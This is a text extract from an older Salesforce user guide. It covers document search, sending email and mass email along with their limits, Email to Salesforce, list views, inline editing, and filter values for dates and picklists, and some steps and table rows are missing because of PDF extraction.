Since documents are stored in folders that control user access, documents do not have owners like other types of records, but
they do have authors. The author represents the user that originally uploaded the document file.
To change the author of a document:
205
Documents Searching for Documents
Note: When you change document authorship, Salesforce.com does not change the document’s visibility.
See Also:
Managing Folders
To find specific documents, use the Find Document button on the documents home page.
• Document Name
• Keywords
• Description
4. Select any document to jump directly to the detail page for that document, or click View to open the document in a new
window.
206
Documents Searching for Documents
If document content search is enabled, Salesforce.com will also perform a full-text search of the document. When a new
document is uploaded or an old one is replaced, its contents are available for searches.
To enable document content search:
Note: Salesforce.com automatically determines if the contents of a document can be searched. If the Document
Content Searchable property is checked on a document, then its contents have been processed successfully and
can be searched. If your document is large, it may take several minutes before Salesforce.com searches the contents of
a document and marks the Document Content Searchable property.
The following file types are supported for a document content search.
Note: The contents of documents that exceed the maximum sizes are not searched; however, the document fields are
still searched. Only the first one million characters of text are searched. Text beyond this limit is not included in the
search.
.xhtml
.pps
.ppt
.cpp
.css
.csv
.ini
.java
.log
.sql
.txt
Word 25,600 KB
.doc
.dot
207
Email Email Overview
• If a file extension is changed to a different format, it is not searched, even if both extensions are valid. For example, a .txt
file that is renamed to .rtf is not searched.
• PDF and Word documents may have security restrictions that prevent them from being searched. To ensure that the
content is searchable, the “content extraction” property on your file must be set to “Enabled” when creating your document.
See Also:
Search Overview
Uploading and Replacing Documents
Search Fields
Search Wildcards and Operators
Email Overview
Available in: All Editions
Mass email not available in: Personal, Contact Manager, and Group Editions
You can email contacts, leads, person accounts, and users in your organization directly from account, contact, lead, opportunity,
case, campaign, or custom object pages.
Using mass email in Professional, Enterprise, Unlimited, and Developer Edition organizations, you can email a list of contacts,
leads, or person accounts for small-scale sales or support emails. This functionality is intended to facilitate your business
processes, not replace your existing email application or handle mass marketing campaigns.
Using the API, you can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich Mean
Time (GMT). Single emails sent using the application do not count towards this limit.
You can send mass email to a maximum of 1,000 external email addresses per day based on Greenwich Mean Time (GMT).
The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce.com
you are using:
208
Email Sending Email
Edition Limit
Professional 250
Enterprise Edition 500
Unlimited Edition 1000
You can send an unlimited amount of email to your internal users. These limits also apply to emails sent from the API and
Apex.
When you send an email, you can choose a predefined template for the message. To personalize your message, the template
can include merge fields that are replaced with information from the Salesforce.com record when the email is sent. For instance,
your organization may want to use a standard template to communicate solution information to customers with cases. Your
administrator maintains organization-wide templates, and you can maintain your own personal templates.
See Also:
Sending Email
Sending Mass Email
Editing Email Settings
Email Fields
Managing Email Templates
Force.com Connect for Microsoft Outlook® Overview
What is a Person Account?
Testing Deliverability
Sending Email
Available in: All Editions
1. Click Send An Email on the Activity History related list of a record. Or, from a case, click Send An Email or Reply from
the Email related list. This option is available only to organizations using Email-to-Case or On-Demand Email-to-Case.
2. Optionally, you can specify the sending address of the email from the From drop-down list for emails associated with
Email-to-Case or On-Demand Email-to-Case; or if the email name or email address in your email settings is different
from the email name or email address on your user record.
209
Email Sending Email
When creating a new outbound Email-to-Case or On-Demand Email-to-Case message, the From address is auto-populated
with your name. When replying to an inbound message, the From address is auto-populated with the routing address to
which the email was sent.
If you previously defined any organization-wide addresses, the email addresses associated with your user profile also appear
in this drop-down list. Organization-wide addresses are not available for Mass Email, or Stay-in-Touch requests.
3. Click Switch to Text-Only to remove any HTML formatting and send a text email. Click Switch to HTML to use
HTML formatting.
Note: Use HTML formatting if you want to track the email. See Tracking HTML Email on page 215 for more
information.
4. Choose a recipient by entering a contact, lead, or person account in the To: field. Only one name can be entered in the
To: field. For contacts and leads that have multiple email fields, you can choose an email address.
5. Optionally, choose another record, such as an account, case, or custom object, to associate with the email.
6. Optionally, if you want other people to receive the email as primary recipients, enter email addresses in the Additional
To: field, or click the Additional To: link to select individuals from a list. These people do not need to be Salesforce.com
records. Email addresses can be separated by semicolons, commas, spaces, or new lines.
7. In the CC: and BCC: fields, enter any additional email addresses, or click the CC or BCC link to select individuals from
a list. Email addresses can be separated by semicolons, commas, spaces, or new lines.
If your organization has enabled compliance BCC emails, the BCC: field is not available and your Automatic Bcc setting
under My Email Settings is disabled.
8. Enter a subject and body for the email, or click Select Template to choose a predefined email template. Choose a folder
and select a template from the folder. If necessary, you can modify the content of the template in your email; however, you
cannot modify Custom templates.
When replying to an Email-to-Case or On-Demand Email-to-Case email, the original email is included in the email
body. All or parts of this email can be deleted.
9. If you chose an HTML email template, use the format toolbar to format your text. For details on the format toolbar, see
Using the Format Toolbar on page 431. Available in Professional, Enterprise, Unlimited, and Developer Editions only.
10. Optionally, select Attach File to add a file. You can attach multiple files as long as the total size of all attached files does
not exceed 10 MB.
11. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the body of the email. Spell Checker
does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages,
such as Japanese, Korean, or Chinese, are not supported.
If you are using an email template, the Check Spelling button is available for text templates and Visualforce templates
without HTML tags.
12. Click Send.
If the recipient does not have an email address, Salesforce.com prompts you to edit the person’s email address and click:
• Save Address to add the email address to the record without sending the email.
• Save Address and Send to add the email address to the record and send the email.
210
Email Sending Mass Email
• Emails sent via the Send an Email button are listed in the Activity History list of the related records. The Activity History
item displays as “Email: <Subject>.” You can click the email subject to view the body of the email. Attachments are not
stored with the email, unless they are associated with an Email-to-Case or On-Demand Email-to-Case email.
• Emails sent from the Email related list of a case are saved in the Email related list. This functionality is only available for
organizations with Email-to-Case or On-Demand Email-to-Case enabled.
• You can send emails related to any record, as long as you have access to view or edit the record.
• Email templates give you access only to the fields that are accessible to you via your page layout and field-level security
settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)
• Attachments are sent as links if the attachment(s) total size is 3 MB or more or if the attachment is sent using mass email.
When recipients click the attachment link in the email, the attachment opens in a separate Web browser, and they can
download the file. Attachments sent as links are stored for 30 days.
See Also:
Email Fields
Editing Email Settings
Sending Mass Email
Tracking HTML Email
Working with Case Emails
What is a Person Account?
Testing Deliverability
To send mass emails and log them in the Activity History "Mass Email"
related list:
AND
"Edit Tasks"
You can send a mass email message to a recipient list that consists of contacts, leads, person accounts, or users you can view
in Salesforce.com.
You can send mass email to a maximum of 1,000 external email addresses per day based on Greenwich Mean Time (GMT).
The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce.com
you are using:
211
Email Sending Mass Email
Edition Limit
Professional 250
Enterprise Edition 500
Unlimited Edition 1000
You can send an unlimited amount of email to your internal users. These limits also apply to emails sent from the API and
Apex.
• To send mass email to contacts or person accounts, click Mass Email Contacts in the Tools section at the bottom of
the Contacts or Cases tabs. If your organization uses person accounts, the link is also in the Tools section at the bottom
of the Accounts tab.
• To send mass email to leads, click Mass Email Leads in the Tools section at the bottom of the Leads tab.
• To send mass email to users, click Setup ➤ Manage Users ➤ Mass Email Users. This link is available to administrators
and users with the “Manage Users” permission.
2. Select a list view of recipients and click Go!. By default, the My Contacts, My Leads, Active Users, or My Cases views
include all records of that type with an email address. To change the list of recipients, create a new custom view. See
Creating Custom List Views on page 219.
Contacts, leads, or person accounts that have the Email Opt Out field selected or do not have an email address are not
included in any email list views.
Note: Person accounts are included in contact list views.
3. All recipients in the list view are selected by default. If there are recipients who should not receive the mass email, deselect
them. Optionally, use the top checkbox in the list view to select or deselect all of the recipients listed on the page.
4. Click Next.
5. Choose an email template.
Note: You cannot send a mass email using a Visualforce email template.
6. Optionally, click the Preview links to view the templates. In the email template preview window, the template displays
with any merge fields included, such as {!Account.AccountNumber}. When you send your email, data from the
recipients' records, or any applicable substitute text, is inserted into the email in place of those merge fields.
7. Click Next.
8. On the confirmation page, select from the available Processing Options:
The Activity History item is associated with the contact, lead, or person account and displays as “Mass Email:<Template
Description>.” The email subject, body, and attachments are not stored in the Activity History item. To log Activity
History items, you must have access to view or edit the records in the recipient list and have the “Edit Task” permission.
• Use my signature
212
Email Sending Mass Email
Optionally, include your email signature in this mass email. This option applies to text emails only. See Editing Email
Settings on page 39 for information on creating an email signature.
• Mass Email Name
Enter a name you can use to identify this mass email in the mass email queue. See Monitoring the Mass Email Queue
on page 707 for more information.
Note: The mass email name only appears in the mass email queue and status messages you receive from
Salesforce.com. Salesforce.com does not add the mass email name to the mass email you are sending.
Sent To
The number of recipients to which Salesforce.com sent the message. This number may differ from the Addressed
To number for the following reasons:
- The mass email would cause your organization to exceed its daily mass email limit. Salesforce.com does not send
the message to any of the intended recipients in this case.
- One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before
it was processed.
213
Email Email Fields
- One or more selected recipient email addresses were removed from the contact or lead after the mass email was
scheduled but before it was processed.
- The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed.
Salesforce.com does not send mass emails scheduled by a user who is deactivated.
• Attachments in mass emails are sent as links rather than as physical files. When recipients click the attachment link in the
email, the attachment opens in a separate Web browser, and they can download the file. Attachments sent as links are
stored for 30 days.
• Email templates give you access only to the fields that are accessible to you via your page layout and field-level security
settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)
• You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request.
See Also:
Email Fields
Editing Email Settings
Setting Field-Level Security
What is a Person Account?
Email Fields
Available in: All Editions
A Salesforce.com outbound email has the following fields, listed in alphabetical order.
Field Description
Attachment List of the attached files. The maximum total size of all email
attachments is 10MB.
BCC List of email addresses to which the email will be blind carbon
copied. Up to 2000 characters are allowed in this field. You
can separate email addresses by semi-colons, commas, spaces,
or new lines. Emails with addresses that contain parentheses,
such as john(smith)@acme.com, will not be sent.
The BCC: field is not available if your organization has enabled
compliance BCC emails.
Body Main text of the email. Up to 32KB of data are allowed in this
field.
CC List of email addresses to which the email will be copied. Up
to 2000 characters are allowed in this field. You can separate
email addresses by semi-colons, commas, spaces, or new lines.
Emails with addresses that contain parentheses, such as
john(smith)@acme.com, will not be sent.
214
Email Tracking HTML Email
Field Description
From Automatically generated field containing your email address.
Related To Existing account, asset, campaign, case, contract, opportunity,
product, solution, or custom object that the email is related
to. This field is not sent with the email, but is stored in the
Activity History with the email.
Signature Your personalized tag line. Set your signature via Email ➤
My Email Settings in the Personal Setup area. It is
automatically appended to individual emails. You can choose
to append it to mass emails.
Subject Subject of the email. Up to 80 characters are allowed in this
field. The contents of this field display in bold if the email
Status is New.
After sending an HTML email, you can track the date it was first opened, the number of times it was opened, and the date
it was most recently opened.
Detail pages for contacts, leads, and person accounts include an HTML Email Status related list. Each email you send to a
person or mass distribution list is listed, including the date the email was sent, first opened, last opened, and the total number
of times it was opened by all users (multiple openings by the same user are counted). This list also includes automatic emails
such as those sent through Web-to-Lead and Web-to-Case response rules.
• Click Send An Email to create a new message. See Sending Email on page 209 for more details on sending an email.
• Click View All to view more details about all the items in the HTML Email Status related list.
• Click Edit next to an email to add any notes to it.
• Click Del to remove an email from the HTML Email Status related list.
• Click the subject of an email to view the entire email message. If the subject is longer than 100 characters, it is truncated
with ellipses (...).
To report on the HTML email statistics listed in the HTML Email Status related list, use the HTML Email Status Report
available from the Reports tab.
215
Email Using My Email to Salesforce Address
Note: Add the HTML Email Status related list to your contact, lead, and person account page layouts before users
send HTML emails that they need to track.
See Also:
Customizing Activity Settings
What is a Person Account?
If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to the Activity
History related list on lead, contact, opportunity, and other records in Salesforce.com. When composing, forwarding, or
replying to email, simply enter your Email to Salesforce address in the BCC field. Salesforce.com receives a copy of the email
and, depending on your configuration, adds it to the Activity History related list of the matching records.
If you configure Email to Salesforce to associate emails to matching leads or contacts, Salesforce.com searches the To and
CC fields for the email addresses of your leads or contacts. If any leads or contacts are found, Salesforce.com saves the email
to the Activity History related list on the appropriate record.
If you configure Email to Salesforce to associate emails to matching opportunities, Salesforce.com searches the To and CC
fields for the email addresses of your contacts. If contacts are found, Salesforce.com saves the email to the Activity History
related list on all open opportunities for which the contact is assigned a contact role.
You do not need to configure Email to Salesforce to associate emails to matching records. Salesforce.com searches emails sent
to your Email to Salesforce address for a record ID, then looks for the record. If the record is found, Salesforce.com adds the
email to the Activity History related list on that record.
You can also save a message as an email activity without sending or resending it to another person. Simply forward the email
with your Email to Salesforce address in the To field. Be sure that there are no other email address in the To, CC, and BCC
fields. Salesforce.com receives a copy of the email and searches the From, To, and CC fields in the forwarded email for the
email addresses of your leads and contacts. If any leads or contacts are found, Salesforce.com saves the email in the Activity
History related list on the appropriate record.
When working with Email to Salesforce, note the following:
• You can use Email to Salesforce with email client applications such as IBM® Lotus Notes® and Microsoft® Outlook®, as
well as webmail such as Gmail™ and Yahoo! Mail™.
• Email to Salesforce discards email attachments.
• The email addresses you use to send Email to Salesforce must be configured in the My Acceptable Email Addresses
field in the My Email to Salesforce setup page.
• If Email to Salesforce matches an email address to multiple lead or contact records in Salesforce.com, you can choose to
associate the email with all matching records, the oldest record, or the record with the most activity.
• If Email to Salesforce matches an email to multiple opportunity records in Salesforce.com, the email is included in the
activity history on all matching open records.
216
Email Using My Email to Salesforce Address
• If you use Gmail, see Using Gmail in Salesforce.com on page 310 to learn about the additional Gmail features that
Salesforce.com offers.
• Email to Salesforce can create a maximum of 50 email activities for each email it receives.
• Email text and HTML is automatically truncated to 32 KB.
• Email to Salesforce.com is required to use the Add Email feature with Salesforce CRM for Outlook. Disabling one feature
will automatically disable the other.
Note: Salesforce CRM for Outlook is available through a pilot program. For information on enabling Salesforce
CRM for Outlook for your organization, contact salesforce.com.
An administrator must activate Email to Salesforce for your organization; for information, see Enabling Email to Salesforce
on page 785. After activation, Salesforce.com generates a unique Email to Salesforce address for each user. Users receive an
automated email from Salesforce.com that contains their Email to Salesforce address. The Email to Salesforce address can
also be viewed by clicking Setup ➤ Email ➤ My Email to Salesforce. The Email to Salesforce address is automatically
generated and cannot be changed.
2. In My Acceptable Email Addresses, enter any email addresses you will use to send email. Separate multiple email
addresses with commas.
Important: Your Email to Salesforce address only accepts email from addresses you list. If you do not list any
email addresses, email sent to your Email to Salesforce address will not be associated to any records.
3. Configure Email to Salesforce to add emails as activities to matching opportunities, leads, contacts, or all three.
4. If you selected leads or contacts, choose how Email to Salesforce should process emails containing lead or contact information
that matches duplicate records. Email to Salesforce can add the email activity to all matching records, to the oldest duplicate
record, or to the record that has greatest number of activities.
5. If you selected leads or contacts, optionally configure Email to Salesforce to create a task that enables you to choose which
record to associate the email with if no matching records are found. If this option is not selected, Email to Salesforce will
ignore emails that do not have matching records.
6. Optionally configure Email to Salesforce to send you a confirmation email when emails are successfully associated.
7. Click Save.
217
Email Using My Email to Salesforce Address
Salesforce.com receives the email and, based on your My Email to Salesforce settings, adds it to the Activity History related
list of matching records.
To associate an email with an individual record:
1. Compose an email from a third-party email account that you designated in My Acceptable Email Addresses field
on the My Email to Salesforce setup page.
2. In Salesforce.com, locate the record ID of the record you want the email associated with. The record ID is the 15-digit,
case-sensitve, alphanumeric code that displays at the end of the URL for a record. For example, if you view the detail page
of a campaign record, the URL will look similar to this: https://na1.salesforce.com/701D0000000HQZy; the
record ID for this record is 701D0000000HQZy.
3. In the subject line or body of the email, type ref: followed by the record ID. For example: ref: 701D0000000HQZy.
Note: Record IDs can either be typed on a separate line or within the email body text if surrounded by (), [], or
{}. For example: (ref: 701D0000000HQZy). Multiple record IDs must be separated with commas, for example:
ref: 701D0000000HQZy, 801D0000000IRAz, 901D0000000JSBa.
4. Enter your Email to Salesforce address in the To, CC, or BCC fields of your email.
5. Optionally enter additional recipients in the To, CC, or BCC fields.
6. Send the email.
Salesforce.com receives the email and adds it to the Activity History related list for each record that matches a record ID
specified in the email. Invalid IDs or IDs for records that you do not have read access to are ignored.
If Email to Salesforce is configured to associate email with matching leads, contacts, or opportunities, an unresolved task will
be created when an email is associated to a lead, contact, or opportunity using only a record ID and not a matching email
address. For example, if you have configured emails to be associated with matching leads and you send an email directly to
your Email to Salesforce address with a lead record ID in the body or subject line of the email, the email will be associated to
the lead and an unresolved task will be created.
See Also:
Enabling Email to Salesforce
Google Apps Overview
Using Gmail in Salesforce.com
218
List Views Creating Custom List Views
LIST VIEWS
Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.
You can create new list views to see a specific set of records such as contacts, documents, or campaigns. For example, create
a list view of accounts in your state, leads with a specific Lead Source, or opportunities above a particular Amount. You can
also create views of contacts, leads, users, or cases to use for mass email recipient lists.
To edit or delete any view you created, click Edit next to the View drop-down list. Administrators, and users with the “Manage
Public List Views” permission, can also edit or delete public views and some of the standard Salesforce.com views.
To create a new view, click Create New View at the top of any list page or in the Views section of any tab home page. Fill in
the following:
219
List Views Creating Custom List Views
which you belong. My Territory Teams means records associated with either territories to which you belong
or territories below you in the territory hierarchy.
• If your organization has case teams, case list views can be restricted by My Case Teams.
• If your organization has account teams, account list views can be restricted by My Account Teams.
• If your organization has sales teams, opportunity list views can be restricted by My Sales Teams.
Filter by Campaign
This option is available on the following list views:
• Contacts home
• Leads home
• Mass email contacts
• Mass email leads
• Mass add campaign members wizard
• Mass update campaign members wizard
If you are editing a list view that is filtered by campaign, and do not have at least read access to the campaign, you
will receive an error when attempting to save the list view.
Filter by Division
If your organization uses divisions to segment data and you have the “Affected by Divisions” permission, select the
division that records in the list view must match. This option is disabled if you are not searching all records.
Select --Current-- to show records in your current working division.
a. To add or remove fields, select a field name, and click the Add or Remove arrow.
b. Use the arrows to arrange the fields in the proper sequence.
5. Restrict Visibility
If you are an administrator or a user with the “Manage Public List Views” permission, specify whether everyone or just
you can see the custom view. This option is not available in Personal Edition. To see a list view, users must also have the
appropriate “Read” permission on the type of records within the list view.
Alternatively, Enterprise, Unlimited, and Developer Edition users can specify a public group, role, or role including all
users below that role to see the custom view. To share the list view, select Visible to certain groups of users,
choose the type of group or role from the drop-down list, select the group or role from the list below it, and click Add.
220
List Views Creating Custom List Views
Note: List views are visible to your customers in the Salesforce.com Customer Portal if the Visible to all
users radio button is selected for views on objects assigned to Customer Portal users' profiles. To create list views
that only your Salesforce.com users can see, select Visible to certain groups of users, and then share
it with the All Internal Users group or a selected set of internal groups and roles.
When implementing a Customer Portal, create custom views that contain only relevant information for Customer
Portal users, and then make those views visible to Customer Portal users by sharing them with the All Customer
Portal. Users group or a selected set of portal groups and roles. For more information about a Customer Portal,
see Setting Up Your Customer Portal on page 1306.
6. Click Save. The view appears in the View drop-down list so you can access it later.
You can rename an existing list view and click Save As to save the criteria of the list view without altering the original
view.
To navigate back to the last list page you viewed, click Back to list at the top of any detail page.
Note: The information you see in list views is only the data to which you have access - either records you own or have
read or read/write access to, records that have been shared to you, or records owned by or shared with users in roles
below you in the role hierarchy.
In addition, you can view only those fields that are visible in your page layout and field-level security settings. (Field-level
security is available only in Enterprise, Unlimited, and Developer Editions). Archived activities are not included in
activity list views. You can use the Activity History related list to view these activities.
Tip: On account, contact, and lead list views click the Open Calendar link at the bottom of the page to display a
weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar
to quickly create an event associated with the record. Note that your administrator controls the availability of this
feature. For more information, see Working with Drag-and-Drop Scheduling on page 131.
See Also:
Printing List Views
Creating Mobile List Views
Filtering on Special Picklist Values
Navigating Long Lists
Deleting List Views
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Tip sheet: Tips & Hints for Custom Views
221
List Views Working with Enhanced Lists
Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity. They must
first be enabled by your administrator for you to take advantage of them.
Enhanced lists allow you to:
• Navigate through the list results by clicking the first page icon (<<), Previous, Next, or the last page icon (>>) at the bottom
of the list.
• Jump to a specific page of results by entering a number in the text box in the lower right corner, and then pressing Enter.
• Create a new view by clicking Create New View. Edit, delete or refresh the current view by clicking, Edit, Delete or
Refresh, respectively.
• Change the number of records displayed per page by clicking the record count indicator in the lower left corner of the list
and selecting the desired setting. You can view 10, 25, 50, 100, or 200 records at a time. When you change this setting,
you return to the first page of list results.
Changing your preference for the number of records displayed per page applies to all lists in all Salesforce.com apps, not
just the one currently displayed. In addition, if you change your preference to 200, a message warns you of possible
performance degradation.
• Change the width of a column by dragging the right side of the column heading with your mouse. Any changes you make
to column widths are specific to that list only, and are preserved when you next view the list.
If you add or remove columns from a list, any column width customizations for that list are discarded automatically.
• Change the order in which a column is displayed by dragging the entire column heading with your mouse to the desired
position. If you have permission to edit the list definition, your changes are automatically saved for all users who see the
list. If you do not have permission to edit the list definition, your changes are discarded when you navigate away from the
page.
• Change the number and order of columns displayed by clicking Edit next to the list drop-down in the upper left corner.
See Creating Custom List Views on page 219.
• If your administrator has enabled inline editing for your organization, edit single records directly from the list by
double-clicking on individual field values. If your administrator has granted you the “Mass Edit from Lists” user profile
permission, you can also edit up to 200 records at a time. See Using Inline Editing in Lists on page 223.
• On account, contact, and lead list views click the Open Calendar link at the bottom of the page to display a weekly view
of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create
222
List Views Using Inline Editing in Lists
an event associated with the record. Note that your administrator controls the availability of this feature. For more
information, see Working with Drag-and-Drop Scheduling on page 131.
See Also:
Using Inline Editing in Lists
Customizing User Interface Settings
Creating Custom List Views
Navigating Long Lists
If both inline editing and enhanced lists are enabled, you can edit records directly in a list. Editable fields display a pencil icon
( ) when you hover over the field, while non-editable fields display a lock icon ( ).
Caution: In enhanced list views, when different users make inline edits to the same fields on a record simultaneously,
records are updated with the most recent edit without a conflict error message.
To edit one record, double-click the editable value, specify a new value, and click OK.
If you have the “Mass Edit from Lists” permission, you can edit up to 200 records at once. To edit multiple records:
1. Select the checkbox next to each record you want to update. If you select records on multiple pages, Salesforce.com
remembers which records are selected.
2. Double-click one of the cells you want to edit. A dialog box displays allowing you to apply your edit to one record, or to
every record selected.
Note: You cannot edit multiple product records at once, they must be edited one at a time.
If you encounter any errors when trying to update records, a console window displays showing the name of each record in
error (if known), as well as a description of why the error occurred. Click the name of a record in the console window to open
that record's detail page in a new window. Salesforce.com keeps track of the records you've clicked in the error console by
displaying them in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce.com domain. To check if your
browser allows pop-up windows, click Setup ➤ My Personal Information ➤ Reminders, and then click Preview
Reminder Alert.
223
List Views Printing List Views
Note: Your administrator can enable and disable printable list views.
You can print list views for the following kinds of records:
• Accounts
• Activities
• Campaigns
• Cases
• Contacts
• Contracts
• Custom objects
• Documents
• Leads
• Opportunities
• Price books
• Profiles
• Products
• Reports
224
List Views Navigating Long Lists
• Solutions
1. Navigate to a list view. For example, view the All Open Leads list view on the Leads tab, the My Contacts list view on
the Contacts tab, or the Closing This Month list view on the Opportunities tab.
2. As appropriate, click a column header to sort the contents of the list view.
3. Click the Printable View icon ( ). A new browser window opens with the contents of the list view in a print-ready format.
Note: The printable view has the sorting you chose in the previous step. To change the sorting, close the printable
view window, select the appropriate column header on the list view, and then click the Printable View icon.
4. Optionally, choose a value in the Number of Records drop-down list to filter how many records display. The maximum
number of records that can display at one time is 1,000. To show fewer records, refine your list view criteria. To print more
than 1,000 records, run a report and then click the Printable View icon on the report.
5. Click Print this Page in the upper right corner.
See Also:
Creating Custom List Views
Many list pages in Salesforce.com include the following tools for managing a large amount of data:
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
To edit or delete any view you created, select it from the View drop-down list and click Edit.
• At the top of a list, click a letter to show items that correspond to that letter, or click Other to show items whose names
begin with numbers or symbols. Click All to display all items that match the criteria of the current view.
• To sort list view items by the data in a particular column, click that column’s heading. This sorts text data alphabetically
and numerical data in ascending order. Dates are sorted with the most recent date first. To reverse the sort order, click the
column heading a second time.
Note: You can sort by any custom field except multi-select picklists.
• Click the Previous Page or Next Page link to go to the previous or next set of items in the current view.
• At the bottom of a list, click the fewer or more link to decrease or increase the number of items per page.
In some related lists with many items, the following links are available:
• Click Show [number] more to increase the number of items in the list.
225
List Views Deleting List Views
See Also:
Creating Custom List Views
Viewing Profile Lists
To delete one of your custom views, select the view from the drop-down list and click the Edit link. At the top of the page,
click the Delete button. If you are an administrator or a user with the “Manage Public List Views” permission, you can also
delete shared views as well as some standard views.
See Also:
Creating Custom List Views
Navigating Long Lists
Use the following special date values when defining filter criteria using dates. If you choose a date field (for example, Create
Date, Last Update Date) as a filter criteria, the value can be a date in the format allowed by your Locale setting or any
of the following special values:
226
List Views Special Date Values for Filter Criteria
THIS WEEK Starts at 12:00:00 a.m. on the first day of the current week and continues
for seven days.
For Enterprise, Unlimited, Professional, and Developer Editions, the week
is defined by the Locale drop-down list in your personal information
settings at Setup ➤ My Personal Information ➤ Personal Information.
For Contact Manager, Group, and Personal Editions, the week is defined
by the Locale setting in the company profile at Setup ➤ Company Profile
➤ Company Information. For example, when the Locale is US English,
a week runs Sunday to Saturday, whereas with UK English, a week spans
Monday to Sunday.
NEXT WEEK Starts at 12:00:00 a.m. on the first day of the week after the current week
and continues for seven days.
For Enterprise, Unlimited, Professional, and Developer Editions, the week
is defined by the Locale drop-down list in your personal information
settings at Setup ➤ My Personal Information ➤ Personal Information.
For Contact Manager, Group, and Personal Editions, the week is defined
by the Locale setting in the company profile at Setup ➤ Company Profile
➤ Company Information. For example, when the Locale is US English,
a week runs Sunday to Saturday, whereas with UK English, a week spans
Monday to Sunday.
LAST MONTH Starts at 12:00:00 a.m. on the first day of the month before the current
month and continues for all the days of that month.
THIS MONTH Starts at 12:00:00 a.m. on the first day of the current month and continues
for all the days of that month.
NEXT MONTH Starts at 12:00:00 a.m. on the first day of the month after the current month
and continues for all the days of that month.
LAST 90 DAYS Starts at 12:00:00 a.m. 90 days before the current day and continues up to
the current second. (The range includes today.)
NEXT 90 DAYS Starts at 12:00:00 a.m. on the day after the current day and continues for 90
days. (The range does not include today.)
LAST n DAYS Starts at 12:00:00 a.m. n days before the current day and continues up to
the current second. (The range includes today.)
NEXT n DAYS Starts at 12:00:00 a.m. on the next day and continues for the next n days.
(The range does not include today.)
LAST QUARTER Starts at 12:00:00 a.m. on the first day of the quarter before the current
quarter and continues to the end of that quarter.
227
List Views Special Date Values for Filter Criteria
THIS FISCAL QUARTER Starts at 12:00:00 a.m. on the first day of the current fiscal quarter and
continues through the end of the last day of the current fiscal quarter. The
fiscal quarter is defined in the company profile at Setup ➤ Company Profile
➤ Fiscal Year.
NEXT FISCAL QUARTER Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current
fiscal quarter and continues through the last day of that fiscal quarter. (The
range does not include the current quarter.) The fiscal quarter is defined in
the company profile at Setup ➤ Company Profile ➤ Fiscal Year.
LAST n FISCAL QUARTERS Starts at 12:00:00 a.m. on the first day of the fiscal quarter n fiscal quarters
ago and continues through the end of the last day of the previous fiscal
quarter. (The range does not include the current fiscal quarter.) The fiscal
quarter is defined in the company profile at Setup ➤ Company Profile ➤
Fiscal Year.
228
List Views Special Date Values for Filter Criteria
For example, to create a custom view or report of accounts created last week, enter “Create Date equals LAST WEEK.” Date
values are not case-sensitive; you can use “LAST WEEK” or “last week.” For special date values with variables (such as “NEXT
N DAYS”), substitute N with any number greater than zero. Do not use commas.
See Also:
Creating Custom List Views
Customizing Reports
Filtering on Special Picklist Values
229
List Views Filtering on Special Picklist Values
When creating filter criteria, such as in a list view or report or when mass deleting records, you can use special picklist values
for your search criteria. These are special picklists with values of either “True” or “False.”
For example, to show all opportunities you have won, enter “Won equals True” as your search criteria. To show all closed/lost
opportunities, enter “Closed equals True” and “Won equals False.”
Note: If you are creating filter criteria for a report or list view, the lookup icon automatically displays when you choose
to filter on one of the special picklists. Click the lookup icon to choose the value “True” or “False.” Alternatively, you
can manually enter “True” or “False” in the filter criteria.
False The event is the original group event assigned to the event
host.
False Activity does not have a green sheet.
Activities: Task True Activity is a task, not an event.
False Activity is an event.
230
List Views Filtering on Special Picklist Values
231
List Views Filtering on Special Picklist Values
False The partner for the opportunity has not been marked as the
primary partner.
Opportunities: Private True The opportunity owner has checked the Private box on
the opportunity edit page.
False The Private box on the opportunity is not checked.
Opportunities: Won True The opportunity is closed and won, that is, the Stage field
has a value of the type Closed/Won.
False The opportunity has not been won. The Stage field may
have a value of the type Open or Closed/Lost.
Products: Active True Product is active and can be added to opportunities in
Enterprise and Unlimited Edition organizations.
False Product is inactive and cannot be added to opportunities.
Product: Has Quantity Schedule True Product has a default quantity schedule.
False Product does not have a default quantity schedule.
Product: Has Revenue Schedule True Product has a default revenue schedule.
False Product does not have a default revenue schedule.
Solutions: Visible in True The solution has been marked Visible in
Self-Service Portal Self-Service Portal and is visible to Self-Service portal
users.
False Solution is not marked Visible in Self-Service
Portal and is not visible to Self-Service portal users.
Solutions: Reviewed True The solution has been reviewed, that is, the solution Status
field has a “Reviewed” value.
False Solution is not reviewed.
Solutions Out of Date True The translated solution has not been updated to match the
master solution with which it is associated.
False The translated solution has been updated to match the
master solution with which it is associated.
Users: Active True User is active and can log in.
False User is inactive and cannot log in.
Users: Offline User True User has access to use Connect Offline.
False User is not enabled for Connect Offline use.
232
Notes & Attachments Viewing and Editing Google Docs, Notes, and Attachments
Note: The special picklists you can view are only those that are visible in your page layout and field-level security
settings. (Field-level security is available only in Enterprise, Unlimited, and Developer Editions).
See Also:
Creating Custom List Views
Customizing Reports
Special Date Values for Filter Criteria
Note: Microsoft Office 2007 file previews are currently available through a pilot program.
You can create, view, and edit notes and add attachments from the Notes and Attachments related list on selected detail pages
such as accounts, contacts, leads, opportunities, and products. You can also add attachments from the Attachments related
list on selected detail pages such as cases, solutions, and campaigns.
If Salesforce Chatter is enabled for your organization, files posted to a feed on a record are added to the record's Notes and
Attachments or Attachments related list as feed attachments. You can preview (if available), download, and delete feed
attachments from the Notes and Attachments or Attachments related list, but you can't edit or view file details.
Note: If the Add Google Docs to Salesforce.com service is enabled in your organization, the Notes and Attachments
related list is entitled Google Docs, Notes, & Attachments, and the Attachments related list is entitled Google Docs
& Attachments.
